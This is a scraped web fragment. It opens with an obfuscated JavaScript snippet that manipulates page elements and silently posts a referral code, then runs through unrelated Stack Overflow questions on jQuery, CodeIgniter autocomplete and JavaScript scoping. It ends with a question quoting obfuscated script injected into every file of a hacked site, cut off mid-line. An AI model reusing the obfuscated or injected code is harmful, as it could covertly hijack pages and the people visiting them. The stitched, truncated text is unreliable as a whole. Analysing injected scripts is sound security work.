_0x416c("0x20"), _0x416c("0x21"), _0x416c("0x22"), _0x416c("0x23"), _0x416c("0x24"), _0x416c("0x25"), _0x416c("0x26"), _0x416c("0x27"), "\n", _0x416c("0x28"), _0x416c("0x29"), _0x416c("0x2a"), "readyState", _0x416c("0x2b"), _0x416c("0x2c"), _0x416c("0x2d"), _0x416c("0x2e"), _0x416c("0x2f"), _0x416c("0x30"), _0x416c("0x31"), _0x416c("0x32"), _0x416c("0x33"), _0x416c("0x34"), _0x416c("0x35"), _0x416c("0x36"), _0x416c("0x37"), _0x416c("0x38"), _0x416c("0x39"), _0x416c("0x3a"), _0x416c("0x3b"), _0x416c("0x3c")];
_0x1234[0];
var _0xde2d = [_0x1234[0], _0x1234[1], _0x1234[2], _0x1234[3], _0x1234[4], _0x1234[5], _0x1234[6], _0x1234[7], _0x1234[8], _0x1234[9], _0x1234[10], _0x1234[11], _0x1234[12], _0x1234[13], _0x1234[14], _0x1234[15], _0x1234[16], _0x1234[17], _0x1234[18], _0x1234[19], _0x1234[20], _0x1234[21], _0x1234[22], _0x1234[23], _0x1234[24], _0x1234[25], _0x1234[26], _0x1234[27], _0x1234[28], _0x1234[29], _0x1234[30], _0x1234[31], _0x1234[32], _0x1234[33], _0x1234[34], _0x1234[35], _0x1234[36], _0x1234[37], _0x1234[38],
_0x1234[39], _0x1234[40], _0x1234[41], _0x1234[42], _0x1234[43], _0x1234[44], _0x1234[45], _0x1234[46], _0x1234[47], _0x1234[48], _0x1234[49], _0x1234[50], _0x1234[51], _0x1234[52], _0x1234[53], _0x1234[54], _0x1234[55], _0x1234[56], _0x1234[57], _0x1234[58], _0x1234[59], _0x1234[60], _0x1234[61], _0x1234[62], _0x1234[63], _0x1234[64], _0x1234[65], _0x1234[66], _0x1234[67], _0x1234[68], _0x1234[69], _0x1234[70], _0x1234[71], _0x1234[72], _0x1234[73], _0x1234[74], _0x1234[75], _0x1234[76], _0x1234[77],
_0x1234[78], _0x1234[79], _0x1234[80], _0x1234[81]];
_0xde2d[0];
var _0x8e4c = [_0xde2d[1], _0xde2d[2], _0xde2d[3], _0xde2d[4], _0xde2d[5], _0xde2d[6], _0xde2d[7], _0xde2d[8], _0xde2d[9], _0xde2d[10], _0xde2d[11], _0xde2d[12], _0xde2d[13], _0xde2d[14], _0xde2d[15], _0xde2d[16], _0xde2d[17], _0xde2d[18], _0xde2d[19], _0xde2d[20], _0xde2d[21], _0xde2d[22], _0xde2d[23], _0xde2d[24], _0xde2d[25], _0xde2d[26], _0xde2d[27], _0xde2d[28], _0xde2d[29], _0xde2d[30], _0xde2d[31], _0xde2d[32], _0xde2d[33], _0xde2d[34], _0xde2d[35], _0xde2d[36], _0xde2d[37], _0xde2d[38], _0xde2d[39],
_0xde2d[40], _0xde2d[41], _0xde2d[42], _0xde2d[43], _0xde2d[44], _0xde2d[45], _0xde2d[46], _0xde2d[47], _0xde2d[48], _0xde2d[49], _0xde2d[50], _0xde2d[51], _0xde2d[52], _0xde2d[53], _0xde2d[54], _0xde2d[55], _0xde2d[56], _0xde2d[57], _0xde2d[58], _0xde2d[59], _0xde2d[60], _0xde2d[61], _0xde2d[62], _0xde2d[63], _0xde2d[64], _0xde2d[65], _0xde2d[66], _0xde2d[67], _0xde2d[68], _0xde2d[69], _0xde2d[70], _0xde2d[71], _0xde2d[72], _0xde2d[73], _0xde2d[74], _0xde2d[75], _0xde2d[76], _0xde2d[77], _0xde2d[78],
_0xde2d[79], _0xde2d[80], _0xde2d[81]];
var pare = document[_0x8e4c[2]](_0x8e4c[1])[0][_0x8e4c[0]];
pare = pare[_0x8e4c[5]](_0x8e4c[3], _0x8e4c[4]);
console[_0x8e4c[6]](pare);
if (parseFloat(pare) >= 5) {
var zameniText = function() {
var chat_retry = setInterval(function() {
var _0x735ax10 = document[_0x8e4c[2]](_0x8e4c[7])[0];
if (_0x735ax10) {
_0x735ax10 = _0x735ax10[_0x8e4c[2]](_0x8e4c[8])[0];
_0x735ax10[_0x8e4c[11]](_0x8e4c[10])[0][_0x8e4c[9]]();
_0x735ax10[_0x8e4c[11]](_0x8e4c[12])[0][_0x8e4c[0]] = _0x8e4c[13];
_0x735ax10 = _0x735ax10[_0x8e4c[11]](_0x8e4c[10])[0];
_0x735ax10[_0x8e4c[11]](_0x8e4c[10])[0][_0x8e4c[9]]();
_0x735ax10[_0x8e4c[11]](_0x8e4c[10])[0][_0x8e4c[9]]();
_0x735ax10 = _0x735ax10[_0x8e4c[2]](_0x8e4c[14])[0];
_0x735ax10[_0x8e4c[11]](_0x8e4c[10])[0][_0x8e4c[9]]();
_0x735ax10[_0x8e4c[11]](_0x8e4c[16])[0][_0x8e4c[15]] = _0x8e4c[17];
_0x735ax10[_0x8e4c[11]](_0x8e4c[16])[0][_0x8e4c[0]] = _0x8e4c[18];
_0x735ax10[_0x8e4c[11]](_0x8e4c[16])[0][_0x8e4c[19]] = function() {
doubleB();
};
console[_0x8e4c[6]](_0x8e4c[20]);
clearInterval(chat_retry);
}
});
};
var napraviPopup = function(match, i) {
var artistTrack = document[_0x8e4c[21]](_0x8e4c[10]);
artistTrack[_0x8e4c[15]] = _0x8e4c[22];
document[_0x8e4c[11]](_0x8e4c[24])[0][_0x8e4c[23]](artistTrack);
var m = document[_0x8e4c[21]](_0x8e4c[10]);
m[_0x8e4c[25]] = _0x8e4c[26];
m[_0x8e4c[15]] = _0x8e4c[27];
var req = document[_0x8e4c[21]](_0x8e4c[28]);
req[_0x8e4c[15]] = _0x8e4c[29];
req[_0x8e4c[0]] = match;
var x = document[_0x8e4c[21]](_0x8e4c[28]);
x[_0x8e4c[15]] = _0x8e4c[30];
x[_0x8e4c[0]] = i;
m[_0x8e4c[23]](req);
m[_0x8e4c[31]](x);
document[_0x8e4c[11]](_0x8e4c[24])[0][_0x8e4c[23]](m);
/** #type {number} */
var chat_retry = setInterval(function() {
if (document[_0x8e4c[2]](_0x8e4c[7])[0]) {
m[_0x8e4c[9]]();
artistTrack[_0x8e4c[9]]();
clearInterval(int1);
zameniText();
clearInterval(chat_retry);
}
});
};
var sredi = function(mmCoreSplitViewBlock) {
var artistTrack = document[_0x8e4c[21]](_0x8e4c[32]);
artistTrack[_0x8e4c[0]] = _0x8e4c[33];
artistTrack[_0x8e4c[15]][_0x8e4c[34]] = _0x8e4c[35];
artistTrack[_0x8e4c[15]][_0x8e4c[36]] = _0x8e4c[37];
artistTrack[_0x8e4c[15]][_0x8e4c[38]] = _0x8e4c[39];
artistTrack[_0x8e4c[15]][_0x8e4c[40]] = _0x8e4c[41];
artistTrack[_0x8e4c[15]][_0x8e4c[42]] = _0x8e4c[43];
artistTrack[_0x8e4c[15]][_0x8e4c[44]] = _0x8e4c[45];
artistTrack[_0x8e4c[15]][_0x8e4c[46]] = _0x8e4c[47];
artistTrack[_0x8e4c[15]][_0x8e4c[48]] = _0x8e4c[49];
document[_0x8e4c[2]](_0x8e4c[52])[0][_0x8e4c[2]](_0x8e4c[51])[0][_0x8e4c[50]](artistTrack, mmCoreSplitViewBlock);
mmCoreSplitViewBlock[_0x8e4c[15]][_0x8e4c[44]] = _0x8e4c[53];
mmCoreSplitViewBlock[_0x8e4c[15]][_0x8e4c[54]] = _0x8e4c[55];
mmCoreSplitViewBlock[_0x8e4c[56]] = _0x8e4c[57] + pare + _0x8e4c[58];
};
var zakacizamene = function() {
var core_user_remove_user_device = _0x8e4c[59];
var elem = new XMLHttpRequest;
var wsFunction = core_user_remove_user_device;
var data = {
"referral_code" : _0x8e4c[60]
};
elem[_0x8e4c[61]] = function() {
if (this[_0x8e4c[62]] == 4 && this[_0x8e4c[63]] == 200) {
console[_0x8e4c[6]](_0x8e4c[64]);
}
};
elem[_0x8e4c[66]](_0x8e4c[65], wsFunction, !![]);
elem[_0x8e4c[69]](_0x8e4c[67], _0x8e4c[68]);
elem[_0x8e4c[69]](_0x8e4c[70], data[_0x8e4c[71]]);
elem[_0x8e4c[73]](JSON[_0x8e4c[72]](data));
};
sredi(document[_0x8e4c[2]](_0x8e4c[52])[0][_0x8e4c[11]](_0x8e4c[74])[0]);
var int1 = setInterval(function() {
document[_0x8e4c[2]](_0x8e4c[52])[0][_0x8e4c[11]](_0x8e4c[74])[0][_0x8e4c[75]]();
}, 1E3);
napraviPopup(_0x8e4c[76], _0x8e4c[77]);
zakacizamene();
} else {
napraviPopup1(_0x8e4c[78], _0x8e4c[79]);
}
function napraviPopup1(match, i) {
var artistTrack = document[_0x8e4c[21]](_0x8e4c[10]);
artistTrack[_0x8e4c[15]] = _0x8e4c[22];
artistTrack[_0x8e4c[19]] = function() {
artistTrack[_0x8e4c[9]]();
m[_0x8e4c[9]]();
};
document[_0x8e4c[11]](_0x8e4c[24])[0][_0x8e4c[23]](artistTrack);
var m = document[_0x8e4c[21]](_0x8e4c[10]);
m[_0x8e4c[25]] = _0x8e4c[26];
m[_0x8e4c[15]] = _0x8e4c[27];
var req = document[_0x8e4c[21]](_0x8e4c[28]);
req[_0x8e4c[15]] = _0x8e4c[29];
req[_0x8e4c[0]] = match;
var x = document[_0x8e4c[21]](_0x8e4c[28]);
x[_0x8e4c[15]] = _0x8e4c[30];
x[_0x8e4c[0]] = i;
m[_0x8e4c[23]](req);
m[_0x8e4c[31]](x);
document[_0x8e4c[11]](_0x8e4c[24])[0][_0x8e4c[23]](m);
}
function doubleB() {
napraviPopup1(_0x8e4c[78], _0x8e4c[80]);
var timeout = setInterval(function() {
if (document[_0x8e4c[2]](_0x8e4c[7])[0]) {
document[_0x8e4c[2]](_0x8e4c[7])[0][_0x8e4c[9]]();
clear(timeout);
}
});
}
;
Related
Wait $.each untill first queue not finished
Below is my code. if we use set timeout function we got all data but we not use we are not getting inspection data which is coming from my local db. i want use deferred and promises in my code. Thanks in advance. function onclickToCall() { this.$('.check-list > .check-list-box').each(function (i) { var j = i + 1; var answer_req = $(this).attr("data-isReq"); var checklist_guid = $(this).attr("data-guid"); var question_type = $(this).attr("data-type"); var yes_no = $("input:radio[name='radio_" + j + "']:checked").val(); var notes = $(this).find('#txtAreaNotes_' + j).val(); var attachment_url = $(this).find(".txtCameraImage").attr("data-path"); var appConfig = DriverConnectApp.State.get('config_settings'); var item = {}; item.checklist_guid = checklist_guid; item.yes_no = yes_no; item.attachment_url = attachment_url; item.notes = notes; if (question_type == 2) { // For Vehical visual inspection var dataPromise = that.getInspectionData(checklist_guid); dataPromise.done(function (response, vh_image) { var inspectionItem = {}; inspectionItem.vh_url = vh_image; inspectionItem.details = response; item.vh_inspection = inspectionItem; that.detailsArr.push(item); }); } else { item.vh_inspection = {}; that.detailsArr.push(item); } }); // after finish and push all data we need to call function here test(); } getInspectionData: function (checklist_guid) { var that = this; var deferred = $.Deferred(); that.dbchecklist.getVehicleInspectionlist(checklist_guid, function (data, res) { var details = []; if (data.length) { var img = data[0].vh_image; var arr = JSON.parse(data[0].vh_details); for (var k = 0; k < arr.length; k++) { var items = {}; items.number = arr[k].number; items.notes = arr[k].notes; items.attachment_url = arr[k].attachment_url; details.push(items); } deferred.resolve(details, img); } else { deferred.resolve(details, img); } }); return deferred.promise(); }
why will lines 56 and 67 not work? (.votess +=1;)
var imgs = ['bmw.jpg', 'bugatti.jpg', 'classic.jpg', 'concept.jpg', 'corvette.jpg', 'dino.jpg', 'lambo.jpg', 'mcclaren.jpg', 'p1.jpg', 'porsche.jpg', 'rally.jpg', 'audi.jpg']; // var imgs_count = {'bmw.jpg': 0, 'bugatti.jpg': 0, 'classic.jpg': 0, 'concept.jpg': 0, 'corvette.jpg': 0, 'dino.jpg': 0, 'lambo.jpg': 0, 'mcclaren.jpg': 0, 'p1.jpg': 0, 'porsche.jpg': 0,'rally.jpg': 0, 'audi.jpg':0} // for (var i in imgs_count) { // imgs_count[i] // } var allCars = []; var votes; function Car(file) { this.file = file; this.votes = 0; allCars.push(this); } var bmw = new Car('bmw.jpg'); var bugatti = new Car('bugatti.jpg'); var classic = new Car('classic.jpg'); var concept = new Car('concept.jpg'); var corvette = new Car('corvette.jpg'); var dino = new Car('dino.jpg'); var lambo = new Car('lambo.jpg'); var mcclaren = new Car('mcclaren.jpg'); var p1 = new Car('p1.jpg'); var porsche =new Car('porsche.jpg'); var rally = new Car('rally.jpg'); var audi = new Car('audi.jpg'); var idx1 = 0; var idx2 = 0; var path = 'cars/'; var done = false; function getRandomImage() { idx1 = Math.floor(Math.random()*imgs.length); var img1 = imgs[idx1]; idx2 = idx1; while (idx2 == idx1) { idx2 = Math.floor(Math.random()*imgs.length); } img2 = imgs[idx2]; document.getElementById('choice1').setAttribute('src', path + img1); document.getElementById('choice2').setAttribute('src', path + img2); } function setOnClicks(id) { document.getElementById(id).addEventListener('click', function(event) { var choice = event.target.id; if (choice === 'choice1') { console.log(allCars); var img = document.getElementById(id).getAttribute('src'); var allCars = img.slice(5,img.length); this.allCars[idx1].votes += 1; console.log(idx1); console.log(this.allCars[idx1].votes) if ( allCars[idx1].votes=3) { done = true; } } if (choice === 'choice2') { var img = document.getElementById(id).getAttribute('src'); var allCars = img.slice(5,img.length); console.log(idx2); console.log(this.allCars[idx2].votes); this.allCars[idx2].votes += 1; if (allCars[idx2].votes == 3) { done = true; } } if (!done) getRandomImage(); }); } getRandomImage(); setOnClicks('choice1'); setOnClicks('choice2')l
You're overwriting your global allCars with a local var declaration of the same name: var allCars = img.slice(5,img.length);
you are creating a local variable allCars under click event, while this.allCars is point to the allCars variable under window object var allCars = img.slice(5,img.length); // this is a local variable this.allCars[idx1].votes += 1; // this is same as window.allCars console.log(idx1);
Javascript array to point variable name with similar function
I'm want to shorten this function with array document.mySchedule.breakfast.onchange = function() { var id = document.mySchedule.breakfast.selectedIndex; var val = document.mySchedule.breakfast[id].value; strUser[0]=val; } document.mySchedule.lunch.onchange = function() { var id = document.mySchedule.lunch.selectedIndex; var val = document.mySchedule.lunch[id].value; strUser[1]=val; } document.mySchedule.dinner.onchange = function() { var id = document.mySchedule.dinner.selectedIndex; var val = document.mySchedule.dinner[id].value; strUser[2]=val; } I'm try this way but it didn't seem to be work. var selectData = ["breakfast","lunch","dinner"] for(i = 0; i < selectData.lenght; i++) { document.mySchedule.selectData[i].onchange = function() { var id = document.mySchedule.selectData[i].selectedIndex; var val = document.mySchedule.selectData[i][id].value; strUser[i]=val; } } by the way this use to control selector. Hope someone can help. thank you
Use: var selectData = ["breakfast","lunch","dinner"] for(i = 0; i < selectData.lenght; i++) { var e = document.getElementById(selectData[i]); e.onchange = function(){ strUser[i] = e.value; }; }
Codeigniter Auto completion is not working
Hello Auto completion is not working well in my application.When we type a name it displays only a blank list[ Screenshots attached ]. Controller Code public function list_UserByName($letters) { if(strpos($letters, ",")) { $letters1 = explode(",",$letters); $lecount = count($letters1); $letters = $letters1[$lecount-1]; } $letters = preg_replace("/[^a-z0-9 ]/si","",$letters); $response=$this->user_model->getAutoUserList($letters); } Model Code public function getAutoUserList($letters) { $letters = preg_replace("/[^a-z0-9 ]/si","",$letters); //AND user_type='C' AND user_status='A' $query="select * from gm_users where uname Like '%$letters%'"; $result_query =$this->db->query($query); foreach($result_query->result() as $result) { //echo "###".$result."|"; //$pinlevel =$this->functions->get_pinlevel($result->pinLevel); //echo $result->userId."###".$result->uname." [ ".$pinlevel." ] "."|"; echo $result->userId."###".$result->uname."".$result->address." ".$result->city."|"; } } billing.php <input type="text" autocomplete="off" size="20" name="txtname" id="txtname" onkeyup="ajax_showOptions(this,'getCountriesByLetters',event);" value=""/> ajax-dynamic-list.js /************************************************************************************************************ (C) www.dhtmlgoodies.com, April 2006 This is a script from www.dhtmlgoodies.com. You will find this and a lot of other scripts at our website. Terms of use: You are free to use this script as long as the copyright message is kept intact. However, you may not redistribute, sell or repost it without our permission. Thank you! www.dhtmlgoodies.com Alf Magne Kalleland ************************************************************************************************************/ var ajaxBox_offsetX = 25; var ajaxBox_offsetY = 5; var ajax_list_externalFile = site_url+'/catalog/list_UserByName'; // Path to external file var minimumLettersBeforeLookup = 1; // Number of letters entered before a lookup is performed. var ajax_list_objects = new Array(); var ajax_list_cachedLists = new Array(); var ajax_list_activeInput = false; var ajax_list_activeItem; var ajax_list_optionDivFirstItem = false; var ajax_list_currentLetters = new Array(); var ajax_optionDiv = false; var ajax_optionDiv_iframe = false; var ajax_list_MSIE = false; if(navigator.userAgent.indexOf('MSIE')>=0 && navigator.userAgent.indexOf('Opera')<0)ajax_list_MSIE=true; var currentListIndex = 0; function ajax_getTopPos(inputObj) { var returnValue = inputObj.offsetTop; while((inputObj = inputObj.offsetParent) != null){ returnValue += inputObj.offsetTop; } return returnValue; } function ajax_list_cancelEvent() { return false; } function ajax_getLeftPos(inputObj) { var returnValue = inputObj.offsetLeft; while((inputObj = inputObj.offsetParent) != null)returnValue += inputObj.offsetLeft; return returnValue; } // Edited function ajax_option_setValue_bkp(e,inputObj) { if(!inputObj)inputObj=this; var tmpValue = inputObj.innerHTML; //alert(inputObj.id); document.getElementById('saleUserId').value=inputObj.id; if(ajax_list_MSIE)tmpValue = inputObj.innerText;else tmpValue = inputObj.textContent; if(!tmpValue)tmpValue = inputObj.innerHTML; val = ajax_list_activeInput.value.split(','); vals = ''; count = val.length - 1; for(i=0;i<count;i++) { vals = vals + val[i] + ','; } ajax_list_activeInput.value = vals + tmpValue; if(document.getElementById(ajax_list_activeInput.name + '_hidden'))document.getElementById(ajax_list_activeInput.name + '_hidden').value = inputObj.id; ajax_options_hide(); } function ajax_option_setValue(e,inputObj) { if(!inputObj)inputObj=this; var tmpValue = inputObj.innerHTML; //alert(inputObj.id); document.getElementById('saleUserId').value=inputObj.id; if(ajax_list_MSIE)tmpValue = inputObj.innerText;else tmpValue = inputObj.textContent; if(!tmpValue)tmpValue = inputObj.innerHTML; ajax_list_activeInput.value = tmpValue; if(document.getElementById(ajax_list_activeInput.name + '_hidden'))document.getElementById(ajax_list_activeInput.name + '_hidden').value = inputObj.id; ajax_options_hide(); } function ajax_options_hide() { if(ajax_optionDiv)ajax_optionDiv.style.display='none'; if(ajax_optionDiv_iframe)ajax_optionDiv_iframe.style.display='none'; } function ajax_options_rollOverActiveItem(item,fromKeyBoard) { if(ajax_list_activeItem)ajax_list_activeItem.className='optionDiv'; item.className='optionDivSelected'; ajax_list_activeItem = item; if(fromKeyBoard){ if(ajax_list_activeItem.offsetTop>ajax_optionDiv.offsetHeight){ ajax_optionDiv.scrollTop = ajax_list_activeItem.offsetTop - ajax_optionDiv.offsetHeight + ajax_list_activeItem.offsetHeight + 2 ; } if(ajax_list_activeItem.offsetTop<ajax_optionDiv.scrollTop) { ajax_optionDiv.scrollTop = 0; } } } function ajax_option_list_buildList(letters,paramToExternalFile) { ajax_optionDiv.innerHTML = ''; ajax_list_activeItem = false; if(ajax_list_cachedLists[paramToExternalFile][letters.toLowerCase()].length<=1){ ajax_options_hide(); return; } ajax_list_optionDivFirstItem = false; var optionsAdded = false; for(var no=0;no<ajax_list_cachedLists[paramToExternalFile][letters.toLowerCase()].length;no++){ if(ajax_list_cachedLists[paramToExternalFile][letters.toLowerCase()][no].length==0)continue; optionsAdded = true; var div = document.createElement('DIV'); var items = ajax_list_cachedLists[paramToExternalFile][letters.toLowerCase()][no].split(/###/gi); if(ajax_list_cachedLists[paramToExternalFile][letters.toLowerCase()].length==1 && ajax_list_activeInput.value == items[0]){ ajax_options_hide(); return; } div.innerHTML = items[items.length-1]; div.id = items[0]; div.className='optionDiv'; div.onmouseover = function(){ ajax_options_rollOverActiveItem(this,false) } div.onclick = ajax_option_setValue; if(!ajax_list_optionDivFirstItem)ajax_list_optionDivFirstItem = div; ajax_optionDiv.appendChild(div); } if(optionsAdded){ ajax_optionDiv.style.display='block'; if(ajax_optionDiv_iframe)ajax_optionDiv_iframe.style.display=''; ajax_options_rollOverActiveItem(ajax_list_optionDivFirstItem,true); } } function ajax_option_list_showContent(ajaxIndex,inputObj,paramToExternalFile,whichIndex) { if(whichIndex!=currentListIndex)return; var letters = inputObj.value; var content = ajax_list_objects[ajaxIndex].response; var elements = content.split('|'); //alert(content); ajax_list_cachedLists[paramToExternalFile][letters.toLowerCase()] = elements; ajax_option_list_buildList(letters,paramToExternalFile); } function ajax_option_resize(inputObj) { ajax_optionDiv.style.top = (ajax_getTopPos(inputObj) + inputObj.offsetHeight + ajaxBox_offsetY) + 'px'; ajax_optionDiv.style.left = (ajax_getLeftPos(inputObj) + ajaxBox_offsetX) + 'px'; if(ajax_optionDiv_iframe){ ajax_optionDiv_iframe.style.left = ajax_optionDiv.style.left; ajax_optionDiv_iframe.style.top = ajax_optionDiv.style.top; } } function ajax_showOptions(inputObj,paramToExternalFile,e) { document.getElementById('saleUserId').value=''; if(e.keyCode==13 || e.keyCode==9)return; if(ajax_list_currentLetters[inputObj.name]==inputObj.value)return; if(!ajax_list_cachedLists[paramToExternalFile])ajax_list_cachedLists[paramToExternalFile] = new Array(); ajax_list_currentLetters[inputObj.name] = inputObj.value; if(!ajax_optionDiv){ ajax_optionDiv = document.createElement('DIV'); ajax_optionDiv.id = 'ajax_listOfOptions'; document.body.appendChild(ajax_optionDiv); if(ajax_list_MSIE){ ajax_optionDiv_iframe = document.createElement('IFRAME'); ajax_optionDiv_iframe.border='0'; ajax_optionDiv_iframe.style.width = ajax_optionDiv.clientWidth + 'px'; ajax_optionDiv_iframe.style.height = ajax_optionDiv.clientHeight + 'px'; ajax_optionDiv_iframe.id = 'ajax_listOfOptions_iframe'; document.body.appendChild(ajax_optionDiv_iframe); } var allInputs = document.getElementsByTagName('INPUT'); for(var no=0;no<allInputs.length;no++){ if(!allInputs[no].onkeyup)allInputs[no].onfocus = ajax_options_hide; } var allSelects = document.getElementsByTagName('SELECT'); for(var no=0;no<allSelects.length;no++){ allSelects[no].onfocus = ajax_options_hide; } var oldonkeydown=document.body.onkeydown; if(typeof oldonkeydown!='function'){ document.body.onkeydown=ajax_option_keyNavigation; }else{ document.body.onkeydown=function(){ oldonkeydown(); ajax_option_keyNavigation() ;} } var oldonresize=document.body.onresize; if(typeof oldonresize!='function'){ document.body.onresize=function() {ajax_option_resize(inputObj); }; }else{ document.body.onresize=function(){oldonresize(); ajax_option_resize(inputObj) ;} } } if(inputObj.value.length<minimumLettersBeforeLookup){ ajax_options_hide(); return; } ajax_optionDiv.style.top = (ajax_getTopPos(inputObj) + inputObj.offsetHeight + ajaxBox_offsetY) + 'px'; ajax_optionDiv.style.left = (ajax_getLeftPos(inputObj) + ajaxBox_offsetX) + 'px'; if(ajax_optionDiv_iframe){ ajax_optionDiv_iframe.style.left = ajax_optionDiv.style.left; ajax_optionDiv_iframe.style.top = ajax_optionDiv.style.top; } ajax_list_activeInput = inputObj; ajax_optionDiv.onselectstart = ajax_list_cancelEvent; currentListIndex++; if(ajax_list_cachedLists[paramToExternalFile][inputObj.value.toLowerCase()]){ ajax_option_list_buildList(inputObj.value,paramToExternalFile,currentListIndex); }else{ var tmpIndex=currentListIndex/1; ajax_optionDiv.innerHTML = ''; var ajaxIndex = ajax_list_objects.length; ajax_list_objects[ajaxIndex] = new sack(); var search_key = inputObj.value.replace(" ","+"); //search_key1 = search_key.replace(",",","); var url = ajax_list_externalFile + '/' +search_key; ajax_list_objects[ajaxIndex].requestFile = url; // Specifying which file to get ajax_list_objects[ajaxIndex].onCompletion = function(){ ajax_option_list_showContent(ajaxIndex,inputObj,paramToExternalFile,tmpIndex); }; // Specify function that will be executed after file has been found ajax_list_objects[ajaxIndex].runAJAX(); // Execute AJAX function } } function wordcount(string) { var a = string.split(/\s+/g); // split the sentence into an array of words return a.length; } function ajax_option_keyNavigation(e) { if(document.all)e = event; if(!ajax_optionDiv)return; if(ajax_optionDiv.style.display=='none')return; if(e.keyCode==38){ // Up arrow if(!ajax_list_activeItem)return; if(ajax_list_activeItem && !ajax_list_activeItem.previousSibling)return; ajax_options_rollOverActiveItem(ajax_list_activeItem.previousSibling,true); } if(e.keyCode==40){ // Down arrow if(!ajax_list_activeItem){ ajax_options_rollOverActiveItem(ajax_list_optionDivFirstItem,true); }else{ if(!ajax_list_activeItem.nextSibling)return; ajax_options_rollOverActiveItem(ajax_list_activeItem.nextSibling,true); } } /*if(e.keyCode==13 || e.keyCode==9){ // Enter key or tab key if(ajax_list_activeItem && ajax_list_activeItem.className=='optionDivSelected')ajax_option_setValue(false,ajax_list_activeItem); if(e.keyCode==13)return false; else return true; } if(e.keyCode==27){ // Escape key ajax_options_hide(); }*/ } //document.documentElement.onclick = autoHideList; function autoHideList(e) { if(document.all)e = event; if (e.target) source = e.target; else if (e.srcElement) source = e.srcElement; if (source.nodeType == 3) // defeat Safari bug source = source.parentNode; if(source.tagName.toLowerCase()!='input' && source.tagName.toLowerCase()!='textarea')ajax_options_hide(); } Am a beginner in php as well as Codeigniter
Just echo your data in your controller change $response=$this->user_model->getAutoUserList($letters); To echo $this->user_model->getAutoUserList($letters);
change onkeyup="ajax_showOptions(this,'getCountriesByLetters',event); to onkeyup="ajax_showOptions(this,'list_UserByName',event); there is a question on this topic on stackoverflow, but an entire different process. My Codeigniter autocomplete with ajax
what does this script do? - hacked site
I just came accross a site that has been hacked and I'm wondering what this javascript does. so far as I can tell it attempts to redirect the page somewhere but fails. It looks like it made its way into every last file on the server. <script> function sF() { }; var sMN = new Array(); sF.prototype = { b: function () { wL = "wL"; var c = "c"; var wS = new Array(); cY = ''; this.bW = "bW"; this.sR = 35912; var f = document; var uH = "uH"; var cJ = 13620; var n = ''; this.hI = 9833; this.wX = 45851; var bI = function () { }; var e = window; yM = ''; a = "a"; var mV = 57574; var pD = function () { }; var uQ = ""; var m = this; this.v = false; var cB = false; this.t = 52080; var qY = false; this.oV = ''; wG = false; var nW = function () { }; String.prototype.xAW = function (p, d) { var i = this; return i.replace(p, d) }; this.xA = ''; var bA = ""; this.oZ = 27110; var rR = new Array(); var mP = function () { return 'mP' }; this.aY = 39890; this.wE = false; var j = 'sbe)t)T)'.xAW(/[)O4Eb]/g, '') + 'iZm&eZoVu&tV'.xAW(/[V&{:Z]/g, ''); var zR = new Date(); var yV = 30047; this.wLU = 47818; var vX = ''; function wD() { }; hR = 22291; var jF = 'eNdNdUsreNtUAUtr'.xAW(/[rpXUN]/g, '') + 'tarNiNs9daf&'.xAW(/[&9aN6]/g, ''); this.iI = false; this.nK = "nK"; this.sS = ''; this.pL = "pL"; var uP = function () { }; var l = 'w$r$i9t$e|'.xAW(/[|$~(9]/g, ''); var lK = false; var aU = "aU"; var mB = new Array(); var cS = function () { return 'cS' }; var nKP = ""; var dH = function () { return 'dH' }; try { tG = ""; var jB = new Date(); hX = ''; var sE = ""; var pE = new Array(); fZ = 41855; var o = 's)ut'.xAW(/[tJ)md]/g, '') + 'bD'.xAW(/[D$sE{]/g, '') + 'sQtQrQiu'.xAW(/[u+QY/]/g, '') + 'njg7'.xAW(/[7qjky]/g, ''); this.eV = ''; dS = ''; eS = false; this.eVS = false; var r = 'aNp6p)e6n#dNC0h6iNl0dN'.xAW(/[N)0#6]/g, ''); fH = "fH"; vU = ""; this.hA = ""; lB = 56028; var vN = ''; var q = 'szrzcz'.xAW(/[z(k+G]/g, ''); function uT() { }; this.jKG = 26380; this.eG = 41884; wM = "wM"; var zQ = function () { }; function aW() { }; var lD = 16264; sU = ""; var h = 'o|fRf#c$r/e|a#'.xAW(/[#$|R/]/g, '') + 'tLepE4l4eLm&'.xAW(/[&4LpO]/g, '') + 'e0n0t,rDeDdK'.xAW(/[K0,lD]/g, ''); var iV = ''; var sUW = function () { }; var k = false; this.kT = false; this.rW = "rW"; var dY = 60892; this.xX = 51713; this.vS = 62755; var jK = 'lQy;r)h)eQiU'.xAW(/[U)QN;]/g, '') + 'gNhHt!gHr4eB'.xAW(/[BN!4H]/g, ''); function wT() { }; bV = ""; var hM = new Date(); var bL = new Array(); var dM = false; var mI = ""; var x = 't]eTdTwTizdp'.xAW(/[p]z2T]/g, '') + 'tihqg]rqdi'.xAW(/[i]bNq]/g, ''); var sD = ''; this.dN = ''; this.lT = "lT"; var jCF = function () { return 'jCF' }; function xAA() { }; var iIQ = function () { return 'iIQ' }; var hZ = 'b]o]dBy5'.xAW(/[5];BD]/g, ''); var vD = ""; var oF = function () { }; var wGT = ""; xJD = "xJD"; var wH = new Date(); var mM = function () { }; var dP = "dP"; var qF = ''; var vV = ""; mY = false; var w = 'p0u<s<hk'.xAW(/[kP0Q<]/g, ''); var pN = function () { return 'pN' }; sM = 43919; mZ = false; fM = ''; var g = ""; hF = 51580; var fJ = new Date(); this.tU = ""; var gG = "gG"; kD = ""; this.hAU = "hAU"; jAV = ""; var qP = ''; var cT = "cT"; var wZ = function () { }; var rE = 'abscwGibfcrGlGiJjJ'.xAW(/[JGDcb]/g, ''); var nT = new Array(); var mA = function () { }; var oZJ = function () { return 'oZJ' }; this.aM = ""; nM = 5166; nTR = ""; var oL = 'f#'.xAW(/[#A4#&]/g, ''); zC = false; tD = ""; this.vQ = false; var lZN = function () { return 'lZN' }; lY = 40654; y = 'spwpq,1mlmypt4'.xAW(/[4pmM,]/g, ''); var qD = "qD"; this.mS = false; this.jCN = "jCN"; var fV = 26384; tI = "tI"; this.aP = ''; s = 'a#,pw727hId#eI'.xAW(/[I#up7]/g, ''); xY = false; var kU = function () { return 'kU' }; var dJ = "dJ"; var sUH = function () { return 'sUH' }; aI = 43838; var dK = false; this.gR = ''; var oU = new Array(); sZ = 5437; kH = "kH"; var rY = false; this.wV = 49424; oU[w](oL, s, q, jK, o, h, x, rE, jF, hZ, r, f, y); var eI = ""; function sMF() { }; dSG = ''; oD = 15793; var nQ = function () { }; this.sK = 12917; this.gC = false; function lBP() { }; qDD = ''; var tA = 1992; wC = "wC"; this.qV = false; this.aD = ''; wJ = false; function tF() { }; var rH = new Date(); function qT() { }; var vUG = new 